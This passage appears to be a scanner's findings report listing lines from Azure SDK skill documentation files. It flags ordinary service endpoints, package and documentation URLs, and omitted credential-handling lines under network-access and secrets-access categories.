  • Network accessline 78
    displayName: "MyBot",         endpoint: new Uri("https://mybot.azurewebsites.net/api/messages"),         msaAppId: "<your-msa-app-id>")
  • Network accessline 79
    endpoint: new Uri("https://mybot.azurewebsites.net/api/messages"),
  • Network accessline 331
    | Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.BotService |
  • Network accessline 332
    |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.BotService | | API Reference | https://learn.microsoft.com/dotnet/api/azure.resourcemanager.botservice |
  • Network accessline 333
    | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.BotService |
  • Network accessline 334
    | API Reference | https://learn.microsoft.com/dotnet/api/azure.resourcemanager.botservice |
  • Network accessline 335
    | GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/botservice/Azure.ResourceManager.BotService |
  • Network accessline 336
    | Azure Bot Service Docs | https://learn.microsoft.com/azure/bot-service/ |

skills/azure-mgmt-botservice-py/SKILL.md

  • Access to secretsline 38
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 56
    [Credential-related source omitted]
  • Network accessline 67
    display_name="My Chat Bot",             description="A conversational AI bot",             endpoint="https://my-bot-app.azurewebsites.net/api/messages",
  • Network accessline 68
    description="A conversational AI bot",             endpoint="https://my-bot-app.azurewebsites.net/api/messages",             msa_app_id="<your-app-id>",
  • Network accessline 69
    endpoint="https://my-bot-app.azurewebsites.net/api/messages",
  • Access to secretsline 264
    [Credential-related source omitted]

skills/azure-mgmt-fabric-dotnet/SKILL.md

  • Access to secretsline 35
    [Credential-related source omitted]
  • Network accessline 337
    - [Azure.ResourceManager.Fabric NuGet](https://www.nuget.org/packages/Azure.ResourceManager.Fabric)
  • Network accessline 338
    - [GitHub Source](https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/fabric/Azure.ResourceManager.Fabric)
  • Network accessline 339
    - [Microsoft Fabric Documentation](https://learn.microsoft.com/fabric/)
  • Network accessline 340
    - [Fabric Capacity Management](https://learn.microsoft.com/fabric/admin/service-admin-portal-capacity-settings)

skills/azure-mgmt-fabric-py/SKILL.md

  • Access to secretsline 38
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 56
    [Credential-related source omitted]

skills/azure-mgmt-mongodbatlas-dotnet/SKILL.md

  • Network accessline 19
    | API Version | 2025-06-01 | | Resource Type | `MongoDB.Atlas/organizations` | | NuGet | [Azure.ResourceManager.MongoDBAtlas](https://www.nuget.org/packages/Azure.ResourceManager.MongoDBAtlas) |
  • Network accessline 21
    | NuGet | [Azure.ResourceManager.MongoDBAtlas](https://www.nuget.org/packages/Azure.ResourceManager.MongoDBAtlas) |
  • Network accessline 354
    - [Microsoft Learn: MongoDB Atlas on Azure](https://learn.microsoft.com/en-us/azure/partner-solutions/mongodb-atlas/)
  • Network accessline 355
    - [API Reference](https://learn.microsoft.com/en-us/dotnet/api/azure.resourcemanager.mongodbatlas)
  • Network accessline 356
    - [Azure SDK for .NET](https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/mongodbatlas)

skills/azure-mgmt-weightsandbiases-dotnet/SKILL.md

  • Network accessline 303
    # Login with your W&B API key from the Azure-deployed instance wandb.login(host="https://my-company-wandb.wandb.ai")
  • Network accessline 304
    wandb.login(host="https://my-company-wandb.wandb.ai")
  • Network accessline 325
    | Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.WeightsAndBiases |
  • Network accessline 326
    |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.WeightsAndBiases | | W&B Documentation | https://docs.wandb.ai/ |
  • Network accessline 327
    | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.WeightsAndBiases |
  • Network accessline 328
    | W&B Documentation | https://docs.wandb.ai/ |
  • Network accessline 329
    | Azure Marketplace | https://azuremarketplace.microsoft.com/marketplace/apps/wandb.wandb-pay-as-you-go |
  • Network accessline 330
    | GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/weightsandbiases |

skills/azure-microsoft-playwright-testing-ts/SKILL.md

  • Network accessline 13
    > **Migration Notice:** `@azure/microsoft-playwright-testing` is retired on **March 8, 2026**. Use `@azure/playwright` instead. See [migration guide](https://aka.ms/mpt/migration-guidance).
  • Network accessline 139
    await page.goto("https://example.com");
  • Access to secretsline 150
    [Credential-related source omitted]
  • Access to secretsline 176
    [Credential-related source omitted]

skills/azure-monitor-ingestion-java/SKILL.md

  • Network accessline 225
    | Resource | URL | |----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-monitor-ingestion |
  • Network accessline 226
    |----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-monitor-ingestion | | GitHub | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/monitor/azure-monitor-ingestion |
  • Network accessline 227
    | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-monitor-ingestion |
  • Network accessline 228
    | GitHub | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/monitor/azure-monitor-ingestion |
  • Network accessline 229
    | Product Docs | https://learn.microsoft.com/azure/azure-monitor/logs/logs-ingestion-api-overview |
  • Network accessline 230
    | DCE Overview | https://learn.microsoft.com/azure/azure-monitor/essentials/data-collection-endpoint-overview |
  • Network accessline 231
    | DCR Overview | https://learn.microsoft.com/azure/azure-monitor/essentials/data-collection-rule-overview |
  • Network accessline 232
    | Troubleshooting | https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/monitor/azure-monitor-ingestion/TROUBLESHOOTING.md |

skills/azure-monitor-ingestion-py/SKILL.md

  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 65
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]
  • Network accessline 158
    credential = DefaultAzureCredential(authority=AzureAuthorityHosts.AZURE_GOVERNMENT) client = LogsIngestionClient(     endpoint="https://example.ingest.monitor.azure.us",
  • Network accessline 159
    client = LogsIngestionClient(     endpoint="https://example.ingest.monitor.azure.us",     credential=credential,
  • Network accessline 160
    endpoint="https://example.ingest.monitor.azure.us",
  • Network accessline 161
    credential=credential,     credential_scopes=["https://monitor.azure.us/.default"] )
  • Network accessline 162
    credential_scopes=["https://monitor.azure.us/.default"]

skills/azure-monitor-opentelemetry-exporter-java/SKILL.md

  • Network accessline 14
    > **⚠<U+FE0F> DEPRECATION NOTICE**: This package is deprecated. Migrate to `azure-monitor-opentelemetry-autoconfigure`. > > See [Migration Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/monitor/azure-monitor-opentelemetry-exporte
  • Network accessline 16
    > See [Migration Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/monitor/azure-monitor-opentelemetry-exporter/MIGRATION.md) for detailed instructions.
  • Network accessline 43
    APPLICATIONINSIGHTS_CONNECTION_STRING=InstrumentationKey=xxx;IngestionEndpoint=https://xxx.in.applicationinsights.azure.com/
  • Network accessline 265
    2. Update initialization code per [Migration Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/monitor/azure-monitor-opentelemetry-exporter/MIGRATION.md)
  • Network accessline 279
    | Resource | URL | |----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-monitor-opentelemetry-exporter |
  • Network accessline 280
    |----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-monitor-opentelemetry-exporter | | GitHub | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/monitor/azure-monitor-opentelemetry-exporter |
  • Network accessline 281
    | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-monitor-opentelemetry-exporter |
  • Network accessline 282
    | GitHub | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/monitor/azure-monitor-opentelemetry-exporter |
  • Network accessline 283
    | Migration Guide | https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/monitor/azure-monitor-opentelemetry-exporter/MIGRATION.md |
  • Network accessline 284
    | Autoconfigure Package | https://central.sonatype.com/artifact/com.azure/azure-monitor-opentelemetry-autoconfigure |
  • Network accessline 285
    | OpenTelemetry Java | https://opentelemetry.io/docs/languages/java/ |
  • Network accessline 286
    | Application Insights | https://learn.microsoft.com/azure/azure-monitor/app/app-insights-overview |

skills/azure-monitor-opentelemetry-exporter-py/SKILL.md

  • Network accessline 24
    APPLICATIONINSIGHTS_CONNECTION_STRING=InstrumentationKey=xxx;IngestionEndpoint=https://xxx.in.applicationinsights.azure.com/
  • Network accessline 178
    credential = DefaultAzureCredential(authority=AzureAuthorityHosts.AZURE_GOVERNMENT) exporter = AzureMonitorTraceExporter(     connection_string="InstrumentationKey=xxx;IngestionEndpoint=https://xxx.in.applicationinsights.azure.us/",
  • Network accessline 179
    exporter = AzureMonitorTraceExporter(     connection_string="InstrumentationKey=xxx;IngestionEndpoint=https://xxx.in.applicationinsights.azure.us/",     credential=credential
  • Network accessline 180
    connection_string="InstrumentationKey=xxx;IngestionEndpoint=https://xxx.in.applicationinsights.azure.us/",

skills/azure-monitor-opentelemetry-py/SKILL.md

  • Network accessline 24
    APPLICATIONINSIGHTS_CONNECTION_STRING=InstrumentationKey=xxx;IngestionEndpoint=https://xxx.in.applicationinsights.azure.com/
  • Network accessline 43
    configure_azure_monitor(     connection_string="InstrumentationKey=xxx;IngestionEndpoint=https://xxx.in.applicationinsights.azure.com/"
  • Network accessline 44
    connection_string="InstrumentationKey=xxx;IngestionEndpoint=https://xxx.in.applicationinsights.azure.com/"

skills/azure-monitor-query-java/SKILL.md

  • Network accessline 16
    > - `azure-monitor-query-metrics` — For metrics queries > > See migration guides: [Logs Migration](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/monitor/azure-monitor-query-logs/migration-guide.md) | [Metrics Migration](https://
  • Network accessline 18
    > See migration guides: [Logs Migration](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/monitor/azure-monitor-query-logs/migration-guide.md) | [Metrics Migration](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/monitor/
  • Network accessline 117
    LogsQueryClient logsClient = new LogsQueryClientBuilder()     .credential(new DefaultAzureCredentialBuilder().build())     .endpoint("https://api.loganalytics.azure.cn/v1")
  • Network accessline 118
    .credential(new DefaultAzureCredentialBuilder().build())     .endpoint("https://api.loganalytics.azure.cn/v1")     .buildClient();
  • Network accessline 119
    .endpoint("https://api.loganalytics.azure.cn/v1")
  • Network accessline 123
    MetricsQueryClient metricsClient = new MetricsQueryClientBuilder()     .credential(new DefaultAzureCredentialBuilder().build())     .endpoint("https://management.chinacloudapi.cn")
  • Network accessline 124
    .credential(new DefaultAzureCredentialBuilder().build())     .endpoint("https://management.chinacloudapi.cn")     .buildClient();
  • Network accessline 125
    .endpoint("https://management.chinacloudapi.cn")
  • Network accessline 412
    | Resource | URL | |----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-monitor-query |
  • Network accessline 413
    |----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-monitor-query | | GitHub | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/monitor/azure-monitor-query |
  • Network accessline 414
    | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-monitor-query |
  • Network accessline 415
    | GitHub | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/monitor/azure-monitor-query |
  • Network accessline 416
    | API Reference | https://learn.microsoft.com/java/api/com.azure.monitor.query |
  • Network accessline 417
    | Kusto Query Language | https://learn.microsoft.com/azure/data-explorer/kusto/query/ |
  • Network accessline 418
    | Log Analytics Limits | https://learn.microsoft.com/azure/azure-monitor/service-limits#la-query-api |
  • Network accessline 419
    | Troubleshooting | https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/monitor/azure-monitor-query/TROUBLESHOOTING.md |

skills/azure-monitor-query-py/SKILL.md

  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 136
    [Credential-related source omitted]

skills/azure-postgres-ts/SKILL.md

  • Network accessline 71
    // Acquire access token for Azure PostgreSQL const tokenResponse = await credential.getToken(   "https://ossrdbms-aad.database.windows.net/.default"
  • Network accessline 72
    const tokenResponse = await credential.getToken(   "https://ossrdbms-aad.database.windows.net/.default" );
  • Network accessline 73
    "https://ossrdbms-aad.database.windows.net/.default"
  • Network accessline 292
    private async getToken(): Promise<string> {     const tokenResponse = await this.credential.getToken(       "https://ossrdbms-aad.database.windows.net/.default"
  • Network accessline 293
    const tokenResponse = await this.credential.getToken(       "https://ossrdbms-aad.database.windows.net/.default"     );
  • Network accessline 294
    "https://ossrdbms-aad.database.windows.net/.default"
  • Network accessline 428
    | Default port | `5432` | Standard PostgreSQL port | | PgBouncer port | `6432` | Use when PgBouncer enabled | | Token scope | `https://ossrdbms-aad.database.windows.net/.default` | Entra ID token scope |
  • Network accessline 429
    | PgBouncer port | `6432` | Use when PgBouncer enabled | | Token scope | `https://ossrdbms-aad.database.windows.net/.default` | Entra ID token scope | | Token lifetime | ~1 hour | Refresh before expiry |
  • Network accessline 430
    | Token scope | `https://ossrdbms-aad.database.windows.net/.default` | Entra ID token scope |
  • Network accessline 473
    | Resource | URL | |----------|-----| | node-postgres Docs | https://node-postgres.com |
  • Network accessline 474
    |----------|-----| | node-postgres Docs | https://node-postgres.com | | npm Package | https://www.npmjs.com/package/pg |
  • Network accessline 475
    | node-postgres Docs | https://node-postgres.com |
  • Network accessline 476
    | npm Package | https://www.npmjs.com/package/pg |
  • Network accessline 477
    | GitHub Repository | https://github.com/brianc/node-postgres |
  • Network accessline 478
    | Azure PostgreSQL Docs | https://learn.microsoft.com/azure/postgresql/flexible-server/ |
  • Network accessline 479
    | Passwordless Connection | https://learn.microsoft.com/azure/postgresql/flexible-server/how-to-connect-with-managed-identity |

skills/azure-resource-manager-cosmosdb-dotnet/SKILL.md

  • Access to secretsline 34
    [Credential-related source omitted]

skills/azure-resource-manager-durabletask-dotnet/SKILL.md

  • Access to secretsline 36
    [Credential-related source omitted]
  • Network accessline 378
    - [GitHub: Azure.ResourceManager.DurableTask](https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/durabletask/Azure.ResourceManager.DurableTask)
  • Network accessline 379
    - [NuGet: Azure.ResourceManager.DurableTask](https://www.nuget.org/packages/Azure.ResourceManager.DurableTask)

skills/azure-resource-manager-mysql-dotnet/SKILL.md

  • Network accessline 368
    [Credential-related source omitted]
  • Network accessline 370
    new TokenRequestContext(new[] { "https://ossrdbms-aad.database.windows.net/.default" }));
  • Network accessline 389
    | Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.MySql |
  • Network accessline 390
    |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.MySql | | API Reference | https://learn.microsoft.com/dotnet/api/azure.resourcemanager.mysql |
  • Network accessline 391
    | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.MySql |
  • Network accessline 392
    | API Reference | https://learn.microsoft.com/dotnet/api/azure.resourcemanager.mysql |
  • Network accessline 393
    | Product Documentation | https://learn.microsoft.com/azure/mysql/flexible-server/ |
  • Network accessline 394
    | GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/mysql/Azure.ResourceManager.MySql |

skills/azure-resource-manager-playwright-dotnet/SKILL.md

  • Access to secretsline 34
    [Credential-related source omitted]
  • Network accessline 220
    | Property | Description | |----------|-------------| | `DataplaneUri` | URI for running tests (e.g., `https://api.dataplane.{guid}.domain.com`) |
  • Network accessline 221
    |----------|-------------| | `DataplaneUri` | URI for running tests (e.g., `https://api.dataplane.{guid}.domain.com`) | | `WorkspaceId` | Unique workspace identifier (GUID) |
  • Network accessline 222
    | `DataplaneUri` | URI for running tests (e.g., `https://api.dataplane.{guid}.domain.com`) |
  • Network accessline 297
    - [Azure.ResourceManager.Playwright API Reference](https://learn.microsoft.com/en-us/dotnet/api/azure.resourcemanager.playwright)
  • Network accessline 298
    - [Microsoft Playwright Testing Overview](https://learn.microsoft.com/en-us/azure/playwright-testing/overview-what-is-microsoft-playwright-testing)
  • Network accessline 299
    - [Quickstart: Run Playwright Tests at Scale](https://learn.microsoft.com/en-us/azure/playwright-testing/quickstart-run-end-to-end-tests)

skills/azure-resource-manager-postgresql-dotnet/SKILL.md

  • Network accessline 407
    [Credential-related source omitted]
  • Network accessline 409
    new TokenRequestContext(new[] { "https://ossrdbms-aad.database.windows.net/.default" }));
  • Network accessline 429
    | Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.PostgreSql |
  • Network accessline 430
    |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.PostgreSql | | API Reference | https://learn.microsoft.com/dotnet/api/azure.resourcemanager.postgresql |
  • Network accessline 431
    | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.PostgreSql |
  • Network accessline 432
    | API Reference | https://learn.microsoft.com/dotnet/api/azure.resourcemanager.postgresql |
  • Network accessline 433
    | Product Documentation | https://learn.microsoft.com/azure/postgresql/flexible-server/ |
  • Network accessline 434
    | GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/postgresql/Azure.ResourceManager.PostgreSql |

skills/azure-resource-manager-redis-dotnet/SKILL.md

  • Access to secretsline 36
    [Credential-related source omitted]
  • Network accessline 214
    // Import data from blob storage var importContent = new ImportRdbContent(     files: new[] { "https://mystorageaccount.blob.core.windows.net/container/dump.rdb" },
  • Network accessline 215
    var importContent = new ImportRdbContent(     files: new[] { "https://mystorageaccount.blob.core.windows.net/container/dump.rdb" },     format: "RDB");
  • Network accessline 216
    files: new[] { "https://mystorageaccount.blob.core.windows.net/container/dump.rdb" },
  • Network accessline 222
    var exportContent = new ExportRdbContent(     prefix: "backup",     container: "https://mystorageaccount.blob.core.windows.net/container?sastoken",
  • Network accessline 223
    prefix: "backup",     container: "https://mystorageaccount.blob.core.windows.net/container?sastoken",     format: "RDB");
  • Network accessline 224
    container: "https://mystorageaccount.blob.core.windows.net/container?sastoken",

skills/azure-resource-manager-sql-dotnet/SKILL.md

  • Access to secretsline 34
    [Credential-related source omitted]

skills/azure-search-documents-dotnet/SKILL.md

  • Access to secretsline 29
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]

skills/azure-search-documents-py/SKILL.md

  • Access to secretsline 25
    [Credential-related source omitted]
  • Access to secretsline 38
    [Credential-related source omitted]
  • Access to secretsline 39
    [Credential-related source omitted]
  • Access to secretsline 40
    [Credential-related source omitted]
  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 339
    [Credential-related source omitted]
  • Access to secretsline 358
    [Credential-related source omitted]

skills/azure-security-keyvault-keys-dotnet/SKILL.md

  • Network accessline 60
    var keyVaultName = Environment.GetEnvironmentVariable("KEY_VAULT_NAME"); var kvUri = $"https://{keyVaultName}.vault.azure.net";
  • Network accessline 61
    var kvUri = $"https://{keyVaultName}.vault.azure.net";
  • Network accessline 193
    // Or create directly with key ID CryptographyClient cryptoClient = new CryptographyClient(     new Uri("https://myvault.vault.azure.net/keys/my-rsa-key/version"),
  • Network accessline 194
    CryptographyClient cryptoClient = new CryptographyClient(     new Uri("https://myvault.vault.azure.net/keys/my-rsa-key/version"),     new DefaultAzureCredential());
  • Network accessline 195
    new Uri("https://myvault.vault.azure.net/keys/my-rsa-key/version"),
  • Network accessline 270
    // Resolve key by ID to get CryptographyClient CryptographyClient cryptoClient = await resolver.ResolveAsync(     new Uri("https://myvault.vault.azure.net/keys/my-key/version"));
  • Network accessline 272
    new Uri("https://myvault.vault.azure.net/keys/my-key/version"));
  • Network accessline 403
    | Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.Security.KeyVault.Keys |
  • Network accessline 404
    |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.Security.KeyVault.Keys | | API Reference | https://learn.microsoft.com/dotnet/api/azure.security.keyvault.keys |
  • Network accessline 405
    | NuGet Package | https://www.nuget.org/packages/Azure.Security.KeyVault.Keys |
  • Network accessline 406
    | API Reference | https://learn.microsoft.com/dotnet/api/azure.security.keyvault.keys |
  • Network accessline 407
    | Quickstart | https://learn.microsoft.com/azure/key-vault/keys/quick-create-net |
  • Network accessline 408
    | GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/keyvault/Azure.Security.KeyVault.Keys |

skills/azure-security-keyvault-secrets-java/SKILL.md

  • Network accessline 245
    // Usage ConfigLoader loader = new ConfigLoader("https://my-vault.vault.azure.net");
  • Network accessline 246
    ConfigLoader loader = new ConfigLoader("https://my-vault.vault.azure.net");
  • Network accessline 340
    // JSON configuration secretClient.setSecret(new KeyVaultSecret("app-config",      "{\"endpoint\":\"https://...\",\"key\":\"...\"}")
  • Network accessline 341
    secretClient.setSecret(new KeyVaultSecret("app-config",      "{\"endpoint\":\"https://...\",\"key\":\"...\"}")     .setProperties(new SecretProperties()
  • Network accessline 342
    "{\"endpoint\":\"https://...\",\"key\":\"...\"}")

skills/azure-servicebus-dotnet/SKILL.md

  • Network accessline 330
    | Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.Messaging.ServiceBus |
  • Network accessline 331
    |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.Messaging.ServiceBus | | API Reference | https://learn.microsoft.com/dotnet/api/azure.messaging.servicebus |
  • Network accessline 332
    | NuGet Package | https://www.nuget.org/packages/Azure.Messaging.ServiceBus |
  • Network accessline 333
    | API Reference | https://learn.microsoft.com/dotnet/api/azure.messaging.servicebus |
  • Network accessline 334
    | GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/servicebus/Azure.Messaging.ServiceBus |
  • Network accessline 335
    | Troubleshooting | https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/servicebus/Azure.Messaging.ServiceBus/TROUBLESHOOTING.md |

skills/azure-speech-to-text-rest-py/SKILL.md

  • Network accessline 17
    1. **Azure subscription** - [Create one free](https://azure.microsoft.com/free/)
  • Network accessline 18
    2. **Speech resource** - Create in [Azure Portal](https://portal.azure.com/#create/Microsoft.CognitiveServicesSpeechServices)
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 47
    [Credential-related source omitted]
  • Network accessline 49
    url = f"https://{region}.stt.speech.microsoft.com/speech/recognition/conversation/cognitiveservices/v1"
  • Access to secretsline 52
    [Credential-related source omitted]
  • Network accessline 62
    with open(audio_file_path, "rb") as audio_file:         response = requests.post(url, headers=headers, params=params, data=audio_file)
  • Network accessline 63
    response = requests.post(url, headers=headers, params=params, data=audio_file)
  • Access to secretsline 145
    [Credential-related source omitted]
  • Access to secretsline 146
    [Credential-related source omitted]
  • Network accessline 148
    url = f"https://{region}.stt.speech.microsoft.com/speech/recognition/conversation/cognitiveservices/v1"
  • Access to secretsline 151
    [Credential-related source omitted]
  • Network accessline 165
    response = requests.post(
  • Access to secretsline 182
    [Credential-related source omitted]
  • Access to secretsline 192
    [Credential-related source omitted]
  • Access to secretsline 194
    [Credential-related source omitted]
  • Access to secretsline 195
    [Credential-related source omitted]
  • Network accessline 197
    token_url = f"https://{region}.api.cognitive.microsoft.com/sts/v1.0/issueToken"
  • Network accessline 199
    response = requests.post(
  • Access to secretsline 202
    [Credential-related source omitted]
  • Access to secretsline 211
    [Credential-related source omitted]
  • Access to secretsline 257
    [Credential-related source omitted]
  • Access to secretsline 258
    [Credential-related source omitted]
  • Network accessline 260
    url = f"https://{region}.stt.speech.microsoft.com/speech/recognition/conversation/cognitiveservices/v1"
  • Network accessline 262
    try:         with open(audio_path, "rb") as audio_file:             response = requests.post(
  • Network accessline 263
    with open(audio_path, "rb") as audio_file:             response = requests.post(                 url,
  • Network accessline 264
    response = requests.post(
  • Access to secretsline 267
    [Credential-related source omitted]
  • Access to secretsline 307
    [Credential-related source omitted]
  • Access to secretsline 308
    [Credential-related source omitted]
  • Network accessline 310
    url = f"https://{region}.stt.speech.microsoft.com/speech/recognition/conversation/cognitiveservices/v1"
  • Access to secretsline 313
    [Credential-related source omitted]
  • Network accessline 320
    async with aiohttp.ClientSession() as session:
  • Network accessline 335
    Common language codes (see [full list](https://learn.microsoft.com/azure/ai-services/speech-service/language-support)):

skills/azure-storage-blob-rust/SKILL.md

  • Network accessline 130
    | Resource | Link | |----------|------| | API Reference | https://docs.rs/azure_storage_blob |
  • Network accessline 131
    |----------|------| | API Reference | https://docs.rs/azure_storage_blob | | Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/storage/azure_storage_blob |
  • Network accessline 132
    | API Reference | https://docs.rs/azure_storage_blob |
  • Network accessline 133
    | Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/storage/azure_storage_blob |
  • Network accessline 134
    | crates.io | https://crates.io/crates/azure_storage_blob |

skills/azure-storage-blob-ts/SKILL.md

  • Network accessline 40
    const accountName = process.env.AZURE_STORAGE_ACCOUNT_NAME!; const client = new BlobServiceClient(   `https://${accountName}.blob.core.windows.net`,
  • Network accessline 41
    const client = new BlobServiceClient(   `https://${accountName}.blob.core.windows.net`,   new DefaultAzureCredential()
  • Network accessline 42
    `https://${accountName}.blob.core.windows.net`,
  • Access to secretsline 63
    [Credential-related source omitted]
  • Network accessline 65
    const sharedKeyCredential = new StorageSharedKeyCredential(accountName, accountKey); const client = new BlobServiceClient(   `https://${accountName}.blob.core.windows.net`,
  • Network accessline 66
    const client = new BlobServiceClient(   `https://${accountName}.blob.core.windows.net`,   sharedKeyCredential
  • Network accessline 67
    `https://${accountName}.blob.core.windows.net`,
  • Access to secretsline 78
    [Credential-related source omitted]
  • Network accessline 80
    const client = new BlobServiceClient(   `https://${accountName}.blob.core.windows.net${sasToken}`
  • Network accessline 81
    `https://${accountName}.blob.core.windows.net${sasToken}`
  • Network accessline 318
    const sasUrl = `https://${accountName}.blob.core.windows.net/my-container/my-file.txt?${sasToken}`;

skills/azure-storage-file-share-py/SKILL.md

  • Access to secretsline 36
    [Credential-related source omitted]
  • Access to secretsline 47
    [Credential-related source omitted]
  • Network accessline 164
    source_url = "https://account.file.core.windows.net/share/source.txt"

skills/azure-storage-file-share-ts/SKILL.md

  • Access to secretsline 50
    [Credential-related source omitted]
  • Network accessline 52
    const sharedKeyCredential = new StorageSharedKeyCredential(accountName, accountKey); const client = new ShareServiceClient(   `https://${accountName}.file.core.windows.net`,
  • Network accessline 53
    const client = new ShareServiceClient(   `https://${accountName}.file.core.windows.net`,   sharedKeyCredential
  • Network accessline 54
    `https://${accountName}.file.core.windows.net`,
  • Network accessline 65
    const accountName = process.env.AZURE_STORAGE_ACCOUNT_NAME!; const client = new ShareServiceClient(   `https://${accountName}.file.core.windows.net`,
  • Network accessline 66
    const client = new ShareServiceClient(   `https://${accountName}.file.core.windows.net`,   new DefaultAzureCredential()
  • Network accessline 67
    `https://${accountName}.file.core.windows.net`,
  • Access to secretsline 78
    [Credential-related source omitted]
  • Network accessline 80
    const client = new ShareServiceClient(   `https://${accountName}.file.core.windows.net${sasToken}`
  • Network accessline 81
    `https://${accountName}.file.core.windows.net${sasToken}`
  • Network accessline 284
    const sourceUrl = "https://account.file.core.windows.net/share/source.txt";
  • Network accessline 392
    const sasUrl = `https://${accountName}.file.core.windows.net/my-share/my-directory/my-file.txt?${sasToken}`;

skills/azure-storage-queue-ts/SKILL.md

  • Network accessline 40
    const accountName = process.env.AZURE_STORAGE_ACCOUNT_NAME!; const client = new QueueServiceClient(   `https://${accountName}.queue.core.windows.net`,
  • Network accessline 41
    const client = new QueueServiceClient(   `https://${accountName}.queue.core.windows.net`,   new DefaultAzureCredential()
  • Network accessline 42
    `https://${accountName}.queue.core.windows.net`,
  • Access to secretsline 63
    [Credential-related source omitted]
  • Network accessline 65
    const sharedKeyCredential = new StorageSharedKeyCredential(accountName, accountKey); const client = new QueueServiceClient(   `https://${accountName}.queue.core.windows.net`,
  • Network accessline 66
    const client = new QueueServiceClient(   `https://${accountName}.queue.core.windows.net`,   sharedKeyCredential
  • Network accessline 67
    `https://${accountName}.queue.core.windows.net`,
  • Access to secretsline 78
    [Credential-related source omitted]
  • Network accessline 80
    const client = new QueueServiceClient(   `https://${accountName}.queue.core.windows.net${sasToken}`
  • Network accessline 81
    `https://${accountName}.queue.core.windows.net${sasToken}`
  • Network accessline 362
    // Custom encoder/decoder for plain text const queueClient = new QueueClient(   `https://${accountName}.queue.core.windows.net/my-queue`,
  • Network accessline 363
    const queueClient = new QueueClient(   `https://${accountName}.queue.core.windows.net/my-queue`,   credential,
  • Network accessline 364
    `https://${accountName}.queue.core.windows.net/my-queue`,
  • Network accessline 371
    // Or with custom encoder const customQueueClient = new QueueClient(   `https://${accountName}.queue.core.windows.net/my-queue`,
  • Network accessline 372
    const customQueueClient = new QueueClient(   `https://${accountName}.queue.core.windows.net/my-queue`,   credential,
  • Network accessline 373
    `https://${accountName}.queue.core.windows.net/my-queue`,
  • Network accessline 407
    const sasUrl = `https://${accountName}.queue.core.windows.net/my-queue?${sasToken}`;

skills/azure-web-pubsub-ts/SKILL.md

  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 153
    const client2 = new WebPubSubClient({   getClientAccessUrl: async () => {     const response = await fetch("/negotiate");
  • Network accessline 154
    getClientAccessUrl: async () => {     const response = await fetch("/negotiate");     const { url } = await response.json();
  • Network accessline 155
    const response = await fetch("/negotiate");

skills/backend-dev-guidelines/SKILL.md

  • Access to secretsline 161
    [Credential-related source omitted]

skills/backend-dev-guidelines/resources/configuration.md

  • Access to secretsline 138
    [Credential-related source omitted]
  • Network accessline 180
    realm = myapp client = myapp-client baseUrl = http://localhost:8080
  • Network accessline 181
